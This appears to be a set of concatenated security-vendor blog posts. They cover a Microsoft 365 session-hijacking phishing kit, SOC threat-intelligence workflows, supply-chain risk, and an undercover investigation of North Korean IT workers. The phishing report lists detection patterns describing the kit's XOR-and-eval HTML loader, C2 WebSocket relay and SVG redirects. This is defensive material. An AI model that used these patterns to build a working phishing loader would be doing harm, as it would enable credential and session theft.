Mirage2FA shows how far phishing has moved beyond simple credential theft. By intercepting Microsoft 365 authentication in real time and stealing active session cookies, the toolkit can bypass conventional MFA and give attackers access to trusted corporate accounts.

The campaign has remained active from 2024 through 2026, with the strongest victim concentration in the United States and significant exposure across Technology, MSSPs, Manufacturing, and Education. For businesses, a single successful attack can lead to email compromise, impersonation, data exposure, and further access through a legitimate user identity.

Reducing that risk requires more than blocking known domains. Organizations need phishing-resistant MFA, behavioral detection, safe analysis of suspicious attachments, current threat intelligence, and response procedures built specifically for session theft. The faster teams can connect a suspicious email to the wider campaign and revoke stolen access, the less room attackers have to turn one compromised account into a larger incident.

About ANY.RUN

ANY.RUN is a leading provider of interactive malware analysis and threat intelligence solutions trusted by more than 15,000 organizations worldwide, including 74 of the Fortune 100. 


Its Interactive Sandbox and Threat Intelligence solutions help SOC teams analyze suspicious 
files and URLs, uncover malicious behavior, enrich alerts with actionable context, and connect related activity across files, infrastructure, and campaigns. This enables faster investigations, more confident response decisions, and earlier containment of threats before they create wider business impact.

IOCs

Detection patterns

• Loader request path: GET /[a-z]{3}/xls/[a-z0-9]+(?:c2v|cpt)?\.js to a kit domain (canonical /api/xls/a1p2i.js).

• Outbound WebSocket to the C2 immediately after the JS loader is fetched (AiTM relay).

• HTML attachment containing atob(…).map(x => x.charCodeAt(0) ^ 173) followed by eval(…) (XOR key 0xAD).

• SVG document with an inline <script type=”application/ecmascript”> performing a window.location redirect.

Operator / build markers

• Placeholder tokens: LINXB64EMAIL, LINXEMAIL, LINXCODERSEMAIL, LINXCODERSRANDSTRING, #LINXMASKEMAIL, #LINXRANDSTRING.

• In-page variables exposing the token: uid, self.u, RSTRING2.

• Test / self markers: password value linxz; XOR key 0xAD; canonical loader filename a1p2i.js.

Phishing domains

Read Complete Mirage2FA Research in TI Reports

Get a detailed version of the report for SOC and MSSP teams:

• A complete list of IOCs
• Additional info on Mirage2FA
• Access to other reports

Available for users with ANY.RUN TI Core and Complete plans. See details →

Explore full report

FAQ

The post Mirage2FA Hijacks Companies’ Microsoft 365 Sessions, with Over 4K Victims in the US appeared first on ANY.RUN's Cybersecurity Blog.

ANY.RUN’s Threat Intelligence provides the essential solutions to power this transformation across the entire operational cycle.

Key Takeaways

1. Aligning Monitoring and Detection Engineering ensures that high-priority alerts are surfaced early, which directly reduces MTTR and the financial risk associated with potential data exfiltration.
2. Transitioning to a proactive defense posture allows organizations to block threats potentially weeks before public disclosure, shifting the SOC from a reactive incident response model to one of strategic business resilience.
3. Leveraging high-fidelity intelligence maximizes analyst efficiency by automating enrichment and significantly reducing false positives, which protects the ROI of security talent by refocusing them on high-level decision-making.
4. An intelligence-driven SOC provides the empirical data necessary for strategic planning and board confidence, allowing C-suite leaders to demonstrate due diligence and justify security investments to non-technical stakeholders.
5. Integrating ANY.RUN’s Threat Intelligence creates a continuous operational loop where real-world data from sandbox analysis, automated feeds, and behavioral hunting works together to close coverage gaps.

The Critical Role of Threat Monitoring and Detection Engineering

While connected, Threat Monitoring and Detection Engineering are distinct, high-impact processes that are a must-have for cyberresilient organizations.

These two functions are deeply interdependent, creating a feedback loop that defines SOC efficiency:

• Intelligence Ingestion: Detection engineering uses intelligence from threat intelligence sources to create new rules, which are then operationalized within the monitoring workflow.
• Operational Validation: Monitoring acts as the testing ground, revealing where detection rules fail, generate excessive noise, or miss real-world adversary behavior.
• Continuous Improvement: Insights from monitoring, such as historical alert patterns or detection gaps, inform the next cycle of engineering, allowing teams to tune and refine their logic.
• Business Resilience: When these processes are connected, the SOC moves from simply “responding to incidents” to a proactive posture that can block threats weeks before public disclosure.

Building powerful Threat Monitoring and Detection Engineering workflows in your SOC or MSSP requires implementing several important layers.

How to Build Threat Monitoring & Detection Engineering That Works

Layer 1: Channel Live Intelligence into Your Security Stack

The first layer of a proactive monitoring strategy is the automated injection of high-fidelity data directly into the security infrastructure. ANY.RUN’s Threat Intelligence Feeds provide a continuous, live stream of malicious IPs, domains, and URLs.

The true power of this layer lies in its massive scale. ANY.RUN leverages a global network effect powered by over 600,000 security professionals who analyze real-world samples in its Interactive Sandbox. This collective intelligence means that when one organization faces an incident, the extracted data helps others anticipate and prevent it.

With each indicator connected to a complete sandbox analysis, these feeds facilitate faster alert enrichment and provide the necessary context for analysts to instantly understand the severity of a signal. This shift from manual research to automated intelligence allows the SOC to move from “indicator-overloaded” to “intelligence-infused,” freeing up expensive talent to focus on high-level decision-making rather than basic validation.

These feeds are delivered in standardized STIX/TAXII formats, ensuring seamless integration with existing SIEM, EDR, SOAR environments, including popular platforms like Microsoft Sentinel and Google SecOps.

Instead of simply adding more indicators, these feeds strengthen the connective tissue between intelligence and monitoring workflows. Monitoring becomes intelligence-infused rather than indicator-overloaded.

Layer 2: Equip Your SOC with Faster Threat Investigation Process

While automated feeds are essential for real-time blocking, ANY.RUN’s Threat Intelligence Lookup multiplies their effect by moving beyond simple hash-matching and static IP lists. It allows analysts to transition from basic indicators to more complex behavioral markers, such as Indicators of Behavior (IOBs), Indicators of Attack (IOAs), and TTPs mapped directly to the MITRE ATT&CK framework. By querying a database derived from millions of sandbox sessions, analysts can determine if a specific indicator is a standalone threat or part of a larger, more sophisticated campaign.

TI Lookup provides granular searching capabilities, allowing teams to query the database for highly specific artifacts, including:

• Registry activity and file paths: For example, identifying malware that uses scheduled tasks by searching for specific registry keys paired with .exe values.
• Command-line strings: Uncovering the exact commands used during an execution chain.
• Specific network behaviors: Searching by JA3/JA3S TLS fingerprints, port numbers, or Suricata rule IDs to identify unique infrastructure characteristics.

This level of detail allows analysts to reconstruct the attack timeline and understand the mechanics of an infection rather than just its presence. Furthermore, this proactive hunting can surface new indicators, such as behavioral patterns associated with a specific threat actor, that have not yet appeared in automated feeds, allowing the SOC to build custom detections and close coverage gaps before a campaign fully unfolds.

Layer 3: Streamline Detection Rule Creation

TI Lookup focuses on behavioral indicators and metadata, YARA Search introduces a deeper level of analysis by identifying threats based on the actual contents of files. The service allows security teams to utilize binary signatures, textual patterns, or regular expressions (regex) to describe malware characteristics and scan them against a massive threat intelligence database.

Beyond mere discovery, YARA Search serves as a high-velocity testing ground for SOC teams to refine their detection logic. ANY.RUN provides a robust online editor and debugger that allows for the seamless creation, testing, and management of rules within a single interface.

Check out this video on YARA Search in TI Lookup.

For example, an analyst might identify a specific malicious command-line string or a unique registry pattern (IOB/IOA) within TI Lookup. They can then instantly translate that behavior into a YARA rule and run it against ANY.RUN’s massive database of millions of real-world samples. With initial results returned in under five seconds, engineers can immediately see if their rule is effective at catching known malware or if it needs further tuning to reduce false positives. This capability allows teams to move from “intelligence discovery” to “detection validation” in a matter of minutes.

When a custom YARA rule matches a file, the platform bridges the gap between a static signature and dynamic adversary behavior. Every match provides a direct link to associated sandbox analysis sessions, allowing analysts to watch exactly how the identified file operates within a system.

Layer 4: Source Intelligence and Context on Emerging Attacks

While automated data provides speed, strategic decision-making requires the depth of human expertise. ANY.RUN’s Threat Intelligence Reports are manually composed by experienced analysts. They provide investigative overviews of the most critical cyber threats currently facing companies.

The reports move beyond raw data to offer actionable info on APTs, cybercriminal groups, ransomware, and phishing campaigns, detailing an adversary’s aims, origins, and first-seen dates. By processing fresh, real-world data from the global community-powered sandbox, ANY.RUN analysts provide the necessary context to help security teams understand the relevance of a threat to their specific industry or geographic region.

Layer 5: Integrate Threat Intelligence into a Unified Ecosystem

The true strength of ANY.RUN’s Threat Intelligence solutions lies in their unified integration. Each solution functions not as a silo but as part of a continuous operational loop. At the core of this ecosystem is the Interactive Sandbox, which generates the raw, real-world data (IOCs, IOBs, TTPs) that fuels every other intelligence layer.

While TI Feeds provide the automated “blocking” layer for known threats, proactive hunting in TI Lookup or YARA Search can surface new, previously unknown indicators. These findings can then be manually added to detection rules, effectively updating the monitoring stack before a campaign even hits a public feed.

Business Impact and ROI

Modernizing threat monitoring is more than a technical upgrade; it is a cost-control strategy that translates technical efficiency into material business value.

• Reducing Dwell Time and Financial Risk: By utilizing fresh, validated intelligence to surface high-risk alerts early, organizations can drastically reduce the time an attacker remains undetected. The reduction minimizes data exfiltration and remediation costs, while also helping organizations meet regulatory notification obligations.
• Maximizing Analyst Efficiency: High-fidelity intelligence from TI Feeds and TI Lookup significantly reduces false positives and automates the enrichment process. Instead of wasting expensive talent on manual research and “chasing noise,” analysts can focus on high-level decision-making and rapid containment.
• Strategic Planning and Board Confidence: Security leaders can move the narrative from “reacting to incidents” to “proactive prevention”. Using TI insights to explain the threat landscape to non-technical stakeholders demonstrates due diligence and justifies security investments. Proving that the SOC detected and blocked a major threat weeks before public disclosure serves as a powerful proof point of a resilient, proactive security posture.
• Competitive Advantage for MSSPs: For service providers, intelligence-driven monitoring acts as a product feature, ensuring that client SLAs are met with superior detection speed and coverage breadth. This strengthens client trust and differentiates the provider in a creative, fast-moving threat landscape.

Conclusion

Effective threat monitoring and detection engineering must be treated as a first-class, continuously maintained operational capability. It is the foundation upon which triage, hunting, response, and reporting must be built to achieve true business resilience.

The path to this modern standard lies in the seamless integration of real-world intelligence into every layer of the SOC. ANY.RUN’s unified ecosystem provides this direct path, bridging the gap between raw telemetry and actionable defense.

About ANY.RUN

ANY.RUN is part of modern SOC workflows, integrating easily into existing processes and strengthening the entire operational cycle across Tier 1, Tier 2, and Tier 3.

It supports every stage of investigation, from exposing malicious file/URL behavior during safe detonation, to enriching analysis with broader threat context, and delivering continuous intelligence that helps teams move faster and make confident decisions.

Today, more than 600,000 security professionals and 15,000 organizations rely on ANY.RUN to accelerate triage, reduce unnecessary escalations, and stay ahead of evolving phishing and malware campaigns.

To stay informed about newly discovered threats and real-world attack analysis, follow ANY.RUN’s team on LinkedIn and X, where weekly updates highlight the latest research, detections, and investigation insights.

FAQ

The post Intelligence-Driven SOC: Modernizing Threat Monitoring and Detection Engineering for Ultimate MTTR Reduction appeared first on ANY.RUN's Cybersecurity Blog.

The Supply Chain Security: Trust as a Vulnerability

Threat actors increasingly utilize supply chain attacks, where they first compromise a smaller contractor or vendor to use their “trusted” status as a springboard into the head company. Because these communications arrive via verified email addresses and legitimate vendor mailboxes, they often bypass standard email gateways and static filters.

A typical enterprise, such as an automotive manufacturer, may manage over 200 active vendors. This creates a massive, constantly shifting entry point for risk where hundreds of files, invoices, technical specs, and contracts are exchanged weekly.

The window for response is shrinking rapidly. The median time for an attacker to move from initial access to lateral movement is now just 29 minutes. If a suspicious supplier file is not analyzed and contained immediately, the breach can escalate before a human analyst even begins the manual triage process.

SOC teams are often overwhelmed by fragmented tools that provide “red flags” without behavioral proof. As the Head of SOC at a US manufacturer noted:

“The volume itself was not the only challenge. The bigger issue was that analysts did not have enough context to quickly decide which supplier files were safe and which required further action”.

Head of SOC, US Automotive Manufacturer

Read a full case study of how an American manufacturing company reduced third-party risks →

When security operations lack a connected investigative layer, the SOC becomes a “relay race” where evidence is dropped during every handoff between Tier 1 analysts and senior responders.

Currently, many analysts spend over 20% of their work week on manual data correlation between disconnected tools. This manual overhead leads to alert fatigue, resulting in a dangerous reality where up to 62% of alerts are closed without a full investigation due to a lack of resources. This operational blind spot is exactly what supply chain attackers exploit: they hide their malicious activity within the noise of “trusted” but unverified vendor interactions.

What CISOs Can Do to Reduce Supply Chain Security Risks

1. Shorten the Detection Window for Phishing in Contractor Ecosystems

In a contractor-heavy ecosystem, the most dangerous phishing attempts are those that arrive from a legitimate, compromised vendor account. Standard email gateways and static URL scanners frequently fail to identify modern supply chain phishing because the malicious content is often dynamically rendered only after a user interacts with the page or passes an anti-bot check.

To an automated filter, the initial link appears benign, creating a significant “visibility gap” where critical attack stages unfold entirely within an encrypted browser session.

ANY.RUN’s Interactive Sandbox addresses this by providing in-browser data inspection. This allows analysts to observe the attack exactly as the user experienced it, capturing dynamically injected credential forms, hidden redirect chains, and DOM changes that static analysis structurally cannot see. By exposing what is happening inside the browser session, security teams can confirm a credential theft attempt even when there is no file-based trace on the endpoint.

In the context of a busy enterprise, security must not become a bottleneck for business-critical communications. Every minute an analyst spends manually correlating browser events or waiting for a static report is a minute where a compromised vendor could be harvesting corporate credentials.

By integrating behavioral evidence directly into the triage workflow, organizations can move from a suspicious signal to a confirmed verdict in a fraction of the time.

As a specialist at UMass Boston noted regarding their sandbox-driven workflow:

“Having ANY.RUN’s API connection with our email security vendor has really increased our performance… Instead of minutes, [investigations] take seconds”.

Senior Information Security Specialist, UMass Boston

Read a full case study of how UMass Boston scaled their triage to protect 50,000 users →

This transition from minutes to seconds is the primary driver of ROI, allowing lean teams to handle higher alert volumes without increasing headcount.

2. Power Proactive Defense with Live Tracking of Threat Actor Infrastructure

Resilient SOC teams in EU and US companies are moving toward a proactive defense model that involves monitoring the industry threat landscape to identify and neutralize malicious infrastructure used against their peers before it ever hits their own perimeter.

The primary obstacle to proactive defense is the volatility of attacker infrastructure. Threat actors frequently cycle their Command-and-Control (C2) IPs every 48 hours, meaning that intelligence found in static public reports is often outdated by the time it is operationalized.

To bridge this gap, ANY.RUN allows SOC teams to shift their focus from static artifacts to Indicators of Behavior (IOBs). While an attacker can easily change a file’s hash with a minor rebuild, their behavioral patterns, such as specific mutexes, command-line arguments, registry modifications, and process execution chains, are far more stable and difficult to alter without re-engineering the entire attack.

By using Threat Intelligence Lookup, analysts can pivot from a single suspicious artifact found in a supplier email to a broader campaign-level view.

To learn about the latest supply chain attacks early, SOC teams also rely on ANY.RUN’s TI Reports that provide overviews of emerging threats. Curated by an expert team of threat intelligence analysts, these reports offer actionable indicators along with recommendations on how to detect new malware strains.

ANY.RUN’s intelligence is built on a global community of 15K organizations and 600K SOC analysts who analyze the latest malware & phishing attacks inside the Interactive Sandbox. The actionable indicators from these investigations then become available through TI Lookup and TI Feeds.

The result is SOC teams can track the latest intel on the threats that are targeting their industry or country at the moment. For example, here’s a TI Lookup query for banking companies in Germany:

submissionCountry:”de” AND industry:”Banking”

Within seconds, TI Lookup reveals that one of the key threats the German banking industry is currently facing is OAuth phishing. The analysts can continue the investigation and collect more intel on this threat to update the detection systems.

This transition from manual research to an intelligence-fed loop transforms how a SOC prioritizes its workload. Instead of treating every alert with the same urgency, teams can focus on threats that are actively “trending” within their specific industry. Reflecting on the operational impact of this real-time visibility, the CISO at an international transport company managing complex logistics across multiple continents shared:

“The result is that we can follow active threats that may potentially target our company almost in real time because TI Lookup is updated with fresh data”.

CISO at an International Transport Company

Read a full case study of how a transport company improved proactive defense →

By identifying these threats in advance, the SOC can update its detection rules and blocklists with sandbox-verified data before the vendor-based attack is even launched against their organization. This strategic lead time is what allows lean security teams to protect large-scale operations without a proportional increase in headcount.

3. Scale Early Detection without Headcount Growth

For US and EU enterprises, particularly those in the manufacturing and logistics sectors, the operational pressure on the SOC is reaching a tipping point. Security teams in these industries typically carry an 18% to 20% higher workload than those in other sectors due to the sheer volume of supplier-related file exchanges.

The business value of integrating ANY.RUN’s solutions lies in its ability to serve as a force multiplier, allowing existing teams to handle hundreds of suspicious supplier files weekly without adding headcount. By providing a cloud-based investigative layer that integrates directly into existing SIEM or SOAR platforms, enterprises can transform their SOC from a reactive “alert processor” into a streamlined intelligence hub.

A major drain on SOC productivity is fragmented threat context that forces analysts to manually correlate data across multiple dashboards.

ANY.RUN addresses this by standardizing Tier 1 reports. These structured summaries package the entire behavioral analysis, including process trees, network activity, and MITRE ATT&CK mapping, into a single, decision-ready document. This ensures that findings move between tiers as intelligence rather than raw technical data, preserving the full context of a vendor-borne threat and eliminating the need for duplicated effort.

“We cut the time it takes to move from a suspicious supplier file to a clear decision in half. That gave the business faster answers and reduced the time potential threats remained unresolved.”

Head of SOC, US Automotive Manufacturer

Read a full case study of how an American manufacturing company reduced third-party risks →

ANY.RUN also provides Threat Intelligence Feeds that deliver fresh IOCs (IPs, domains, URLs) to companies’ existing security stacks, ensuring they have the ability to identify new malware and phishing early.

The continuous stream of updated indicators helps US and EU enterprises scale their security operations alongside their growing supplier networks, maintaining a lean, effective team that prioritizes response-ready decisions over manual data collection.

Conclusion

For US and EU enterprises, securing the supply chain means shortening the distance between a suspicious signal and a definitive business action. ANY.RUN serves as the connective investigative layer that transforms raw, unverified alerts from trusted partners into actionable behavioral proof. By replacing manual correlation and guesswork with interactive analysis and threat intelligence, security teams can effectively identify and act on third-party risks while maintaining global operations without interruptions.

FAQ: Strengthening Supply Chain Resilience

The post Supply Chain Security: How ANY.RUN Helps US and EU Enterprises Prevent Incidents appeared first on ANY.RUN's Cybersecurity Blog.

The article was written by Mauro and Heiner.

Key Takeaways

• Researchers created a fake DeFi startup and hired suspected Famous Chollima operatives, providing a rare inside view of a DPRK IT worker operation.
• The investigation followed the scheme beyond recruitment, showing how the operatives worked, collaborated, and accessed company resources after being hired.
• ANY.RUN sandbox environments provided a live view of the operatives’ behavior, exposing their evolving toolset, remote access workflow, AI usage, and supporting infrastructure.
• The findings show that DPRK IT worker schemes are not only a hiring risk. Once inside, operatives can gain legitimate access to code, systems, intellectual property, and trusted business processes.

Introduction

Back in December, we were the first ever to fully record the Famous Chollima infiltration cycle. From recruiting collaborators to help them land jobs at Western companies, to forging documents, shipping laptops to facilitators’ houses, and even using AI tools for live assistance and translation during interviews.

During that investigation, we posed as facilitators willing to take job interviews and lend them laptops so they could find a job in exchange for a percentage of their salaries. The trick was that those laptops were actually ANY.RUN sandbox environments, recording every click and every movement they made. This gave us tons of indicators, endless hours of laptop and face-to-face footage, and an unprecedented investigation that made it to the top of many media outlets.

It was definitely not for the faint of heart, requiring months of dedication as we profiled them while acting as their partners in crime. But today, we want to raise the stakes.

This time, instead of playing facilitators, we posed as the founders of Ballena Azul LTD, a new DeFi protocol working directly with crypto whales across different chains and looking for new developers to build it. Developers we could trust with lots of money. More than you and all your friends could ever fit in your pockets. Numbers you can barely read without counting the commas. All while resisting the temptation to drain it to an embargoed nation far away to the East.

This new episode has it all: an overconfident CEO who does not run background checks on employees, fake developers with forged documents, mule bank accounts, journalists posing as venture capitalists, and an Italian lawyer who will blow everything up in the end.

This is Smile, You’re on Camera! Episode 2.

I hope you already have your popcorn ready.

Watch the video on YouTube

Chapter I: The Chollimas

Let’s introduce our main antagonist. Take this as a short recap in case, you’re new to this series or need a refresher on what we are dealing with.

One of the many divisions operating under the Lazarus umbrella is Famous Chollima. Their goal is simple: get hired by Western companies.

They seek remote positions in industries where both intelligence and money are plentiful. Cryptocurrency, finance, and healthcare have historically been among their favorite targets, while more recent campaigns have expanded into pharmaceuticals, civil engineering, architecture, and other sectors.

To secure those positions, they rely on forged identities, fake résumés, proxy interviews, remote facilitators and ghost developers, all working together to convince companies that the person they hired is exactly who they claim to be.

Unlike a traditional intrusion, their objective is not to compromise an organization for a few hours or days, but to become a part of it. A successful placement can provide months or even years of continuous access to internal systems, source code, intellectual property and corporate decision-making, while simultaneously generating a legitimate salary that is ultimately channeled back to the DPRK regime.

This makes Famous Chollima a very different kind of threat. Malware operations can produce spectacular results overnight, as demonstrated by recent compromises involving cryptocurrency bridge signers. But those operations are also inherently noisy and carry a significant risk of discovery. An employee, on the other hand, is expected to be there.

The longer they remain trusted, the greater the opportunity to gather intelligence, influence decisions, and gradually become part of the organization itself. If enough operatives were to secure positions within the same company, they could eventually influence engineering decisions, code reviews, pull requests, approvals, or other trust-based processes without ever exploiting software vulnerability.

Knowing that they actively pursue these kinds of opportunities, we decided to create one ourselves.

Chapter II: The Company

The answer was Ballena Azul LTD / Blue Whale LTD.

On paper, it was exactly the kind of company Famous Chollima would love to work for: a DeFi protocol working alongside cryptocurrency whales across multiple blockchains and looking for experienced developers to help build the platform.

The protocol itself was simple. By combining NFTs and other on-chain mechanisms, whale wallets could voluntarily identify themselves and publicly signal ownership. The idea was to reduce unnecessary market speculation whenever large sums of money moved, avoiding rumors of exchange hacks, wallet drainers, exit scams, or other events that often trigger panic across the ecosystem.

Everything had to look legitimate. A professional website, corporate branding, documentation, an online presence and, most importantly, a product that made sense. Not because we expected investors to believe it, but because we expected them to.

I became Leonardo Nelson, co-founder of Ballena Azul LTD. My business partner, Benito, would be joining our meetings from Italy. At the same time, Heiner returned as Andy Jones, the developer and facilitator from Episode 1. This time he was Ballena Azul’s Team Lead and had been personally recommended to me by Benito.

For the infrastructure, we turned to our most trusted provider: ANY.RUN. Now all we needed were developers.

Fortunately, Andy knew just the right person for the job: Angelo Cruz, a recruiter from Famous Chollima who was eager to make a name for himself.

Chapter III: The Horse Trader

Angelo Cruz met Andy on GitHub, definitely a strange place to make friends.

They started chatting and before long, Cruz convinced Andy they should work together, with Andy acting as his trusted facilitator to help his developers find jobs. Andy agreed and soon introduced Angelo to Ballena Azul LTD as the perfect opportunity. According to the plan, Ballena Azul LTD would become just another company to rob. After all, we trusted Andy’s judgment. Whoever he chose was welcome aboard.

Watch the video on YouTube

To generate a false sense of trust, Andy offered to lend them his brother’s ID, but at the end it was not necessary. Not long afterwards, Angelo introduced us to our first engineer: Angelo Espree.

Chapter IV: The Team

Angelo Espree was the first to accept a position at Ballena Azul LTD, making him the first DPRK IT Worker to step inside our company. He would also become the first dossier in our investigation.

Before the interview, Andy and Angelo agreed on a simple story. They would tell me, the CEO, that Benito already knew Angelo, personally vouched for him, and had approved bringing him into the company.

That was how our first interview began. A Real Madrid supporter with a background in mathematics, Angelo would be responsible for developing the company’s smart contracts.

Watch the video on YouTube

During the interview, we asked Angelo to scan a QR code to confirm his attendance. He did, and of course, fell for the oldest trick in the book. The QR code silently redirected him to one of our Canary Tokens, which recorded information about anyone who triggered it, including their IP address, User-Agent, and more. At the time, it seemed like a small mistake. Later, it would become a key piece of evidence in uncovering a much broader conspiracy. But we’ll get to that later. For now, we were simply happy to have made new friends.

As friends, we explained that Ballena Azul operated as a fully trust-based environment and that we intended to recruit only people we could genuinely rely on. Angelo already had someone in mind: his friend Jack Anderson.

Jack was noticeably quieter and struggled with English. Throughout the interview, we caught him repeatedly glancing off-screen, as if reading from a second monitor running a live translation tool, something we had already documented as part of Famous Chollima’s standard toolkit in Episode 1. Like Angelo, Jack had studied mathematics, supported Real Madrid, and didn’t laugh easily. He nevertheless convinced us, and we welcomed him to Ballena Azul LTD as our Front-end Developer.

Watch the video on YouTube

One thing leads to another, and in this line of work everyone needs someone they can trust. Jack had Lucas Theo, a seasoned Backend Developer. We interviewed him. He understood the role, showed genuine interest in the position, and even told us about his dog, Lulú, his honeymoon in Philippines and his love for hiking. We had no reason to distrust him.

So, we welcomed him to the Ballena Azul family as well.

Watch the video on YouTube

With that, they had assembled the perfect crew for a master heist. We, on the other hand, had a stable full of Chollimas waiting to be broken in.

But you know, every good lie needs paperwork. A lot of paperwork.

Chapter V: The Imposters

It was time to sign the contracts and seal our alliance. But as an experienced CEO, I needed to run a quick background check on my new employees. Surely asking for an ID would be enough, right? I also requested their address, cryptocurrency wallets, and banking details. Standard onboarding paperwork.

Jack sent a driver’s license from Austin, Texas, where he supposedly lived, along with a valid SSN and a bank account at Lead Bank in Kansas City.

Angelo was far more daring. He claimed to be living in Pasadena, Texas, yet sent us a California driver’s license together with a Citibank account in New York.

The most interesting part was hidden in the metadata. Several EXIF entries revealed that the image had been processed with Google Gemini, and a SynthID watermark had been embedded as well. Between that and the obvious visual inconsistencies, the forgery was almost trivial to detect, unbeknownst to him.

If that seemed bold, Lucas managed to raise the stakes even further.

Instead of sending documents under his own name, he shared a New York driver’s license belonging to Pui Chin Teoh, together with a bank account from Wise. Unlike Angelo’s document, the metadata showed it was an authentic photograph originally taken with an iPhone 15.

Unfortunately for us, the GPS coordinates had been stripped. Our best guess was that Pui Chin is a real person who had photographed their own driver’s license for a KYC process or similar, only for that image to later be leaked and eventually find its way into Lucas’ hands.

By now, we had fake identities, stolen SSNs, mule bank accounts, possible facilitator safe houses, and cryptocurrency wallets with transaction history.

So, it was finally time to put my all-star team to work. We still didn’t have laptops ready to ship, but that wasn’t a problem. We told them our provider had set us up with virtual desktops so they could start right away.

That provider was ANY.RUN.

Chapter VI: The North Korean Job

Capturing face-to-face footage is just as important as capturing everything happening inside the machine. Both provide different pieces of the same puzzle. ANY.RUN was the perfect solution for this, allowing us to record every file opened, every network connection, and virtually every click made inside the system. Not a single byte could move without us noticing in real time. These instances were especially crafted for this operation, lasting for hours just like a real VDI would do.

We spun up three separate instances and handed each developer their own environment. It was time to watch them work.

On the first day, Angelo and the team scouted their machines using almost the exact same playbook from Episode 1. They started with dxdiag (DirectX Diagnostic Tool), systeminfo, and wmic to get a detailed overview of the system, then checked where in the world they appeared to be by visiting legitimate IP lookup websites, in this case IP8.

Everything looked good, so Angelo felt safe enough to open his Google account, install Google Remote Desktop, just as we’d seen in Episode 1, and sync his account with the machine.

Yes, sync his account. Just like in Episode 1.

For those unfamiliar with how Google account synchronization works, it means that all the user’s stored information becomes available on that device, including browsing history, search history, saved passwords, and installed extensions. All of his, from a single misplaced click. In Episode 1, this allowed us to identify the entire Famous Chollima toolset, including the AI tools they used throughout the job acquisition process.

However, he didn’t seem to notice and simply moved on to logging into his GitHub account. Business as usual.

Watch the video on YouTube

The team advanced on multiple fronts at a rapid pace, which isn’t to say they were doing things the right way.

Jack struggled to deliver a frontend that didn’t look completely vibe-coded and identical to half the internet, while Angelo and Lucas wrestled with the backend and the smart contracts.

They googled the basics, like how to build upgradeable smart contracts, imported an existing MetaMask wallet, and then struggled to scrape together some crypto from testnet faucets. At one point, they even pasted the testnet URL into the wallet address field before eventually complaining to ChatGPT that “all of them require real money now.”

They then carried on working in their repository, now with entirely imaginary assets after failing to claim funds from any faucet. At this point, we were seriously questioning whether this had been the right business decision. Ballena Azul’s next quarterly report was not looking promising.

Watch the video on YouTube

Maybe it was just a bad day at work. Everyone has those.

But it never rains but pours. So, we decided to make it a little worse.

In Episode 1, we introduced artificial crashes and network outages to slow the operatives down, then immediately scolded them for “breaking” the laptops we’d lent them. This time, we kept the selective network outages but also made the mouse cursor disappear randomly.

Whenever they complained, we told them that one of our provider’s IT support agents would connect and fix the issue.

What followed was an unexpected reminiscence of something Aaron did with Andy in Episode 1, except this time between Angelo and one of our “IT Support” agents: chatting via Notepad.

Watch the video on YouTube

Their vibecoding session continued, now wrestling with a faulty NPM installation and dealing with the occasional network outages while juggling ChatGPT results between Remix and Visual Studio, hoping for the best.

They were busy, short-staffed, short-skilled, and had first-week deadlines looming over them, so this was the perfect time to summon an old villain from this series: Captcha Hell.

After dealing with CAPTCHAs for a couple of minutes, a network failure “forced the VDI to be disposed of”, wiping out all unsaved progress.

The days went by with the Chollimas prancing all over the stable, leaving behind not only faulty code but plenty of tracks: AstrillVPN exit nodes everywhere, chat logs, conversations with AI agents, wallets, and hours of live face footage.

But better than all of that, they exposed something far more interesting, caught in flagrante: operative servers used as proxies and vantage points to jump into the VDIs.

This particular finding is highly valuable, as their servers tend to be long-lived, are often recycled, sometimes host multiple malware families reflecting the evolution of their campaigns over time, and by the end of their lifecycle accumulate tags across the entire threat intelligence landscape.

This was the case for one of them, but not for the other two, which had barely been seen and were tagged simply as “scanner” (“this host conducts port scans”) and, oddly enough, “honeypot”.

But as the days went by, not only did our intelligence collection grow, so did Ballena Azul LTD. It grew so much that it caught the attention of someone who wanted to meet the team behind the next crypto unicorn: a VC investor.

Chapter VII: The Investor

Mr. Aelin Ashriver worked for Definitive Communications (abbreviated as Def-Comm, which sounds remarkably similar to DEF CON, the conference where we presented this work) and was interested in funding our dream. We held multiple “practice” sessions with the team, rehearsing our team salute: “Hello Def Comm, we’re Ballena Azul LTD!” When the big day finally arrived, everything went smoothly.

At one point during the meeting, Mr. Ashriver asked whether we’d be interested in getting some media attention, mentioning that he could help with that and even claiming to be quite close to Cointelegraph. Of course he was.

Mr. Ashriver was, in reality, Yohan Yun, a South Korean correspondent for Cointelegraph and was our partner in crime all the time. And you, dear reader, thought we were done with the plot twists.

Definitive Communications decided to fund Ballena Azul LTD, and you could almost see the dollar signs branded into their retinas. They could already taste the money pouring in. Securing one of the first spots at a startup often meant landing a trusted position, and they could practically feel those cold wallet private keys at the tip of their hooves.

We were climbing to the top. But everything that goes up… eventually comes down. And so, our downfall began.

Chapter VIII: The Lawyer

I told you we had more plot twists. And believe me, this isn’t the last one.

So far, Heiner (Andy) and I (Leonardo Nelson) had been working with Jack, Angelo and Lucas on a daily basis. But if you’ve been paying attention, there’s one missing name in this equation: Mr. Benito, my co-founder (played by our friend Alejo). He had been in Milan, busy with work and life, and trusted us to keep the house in order while he was away. When he returned, however, he found that we’d turned the house into a stable, and he was not happy about it.

Watch the video on YouTube

The first to run away was Angelo, completely terrified. Jack took longer to understand what was happening (remember he relied on a rather unusual live translation tool). Benito took full advantage of that and landed one Matrix reference after another while we tried to keep a straight face (“I’ll be as forthcoming as I can be, Mr. Anderson”, “Are you living two lives, Mr. Anderson?”). Once Jack finally understood the situation, he simply left.

Once the three of us were alone, we had a laugh to decompress and I could finally say that it was the last time using that costume, even if Benito thought the cap suited me well. But that wasn’t the end of it. Our Telegram channel turned into a screaming match between me, the betrayed CEO, and Andy, the employee with a rather lax attitude towards employment law.

I accused him of bringing in “illegal workers”, still pretending not to fully understand what was really going on, and told him he was going to get me into trouble.

He fired back that he’d been under enormous pressure to build a team quickly and that I wasn’t paying him enough to do it. He’d done the best he could with what he had.

The argument went on for a while until I decided to end not only our partnership, but our friendship as well, telling him that if he had anything else to say, he could channel it through my assistant or through Benito.

In a gesture of humanity that I genuinely respect (and I mean it), Angelo reached out to Andy privately to ask whether he was alright and to say he was sorry about what had happened between us.

We never heard from the rest of the group again, who, to this day, still have no idea they were being reverse-spied on.

Bonus Chapter I: Fool me thrice

What kind of second season would this be if we couldn’t feature a returning character who mysteriously disappeared without a trace in the first one?

By the time we had assembled the team, we were already too deep to back out, so we did what anyone else would do in our situation: keep going and hire our fifth Beatle. But this one was an old acquaintance, both for you and for us. See for yourself, you probably recognize that voice.

Watch the video on YouTube

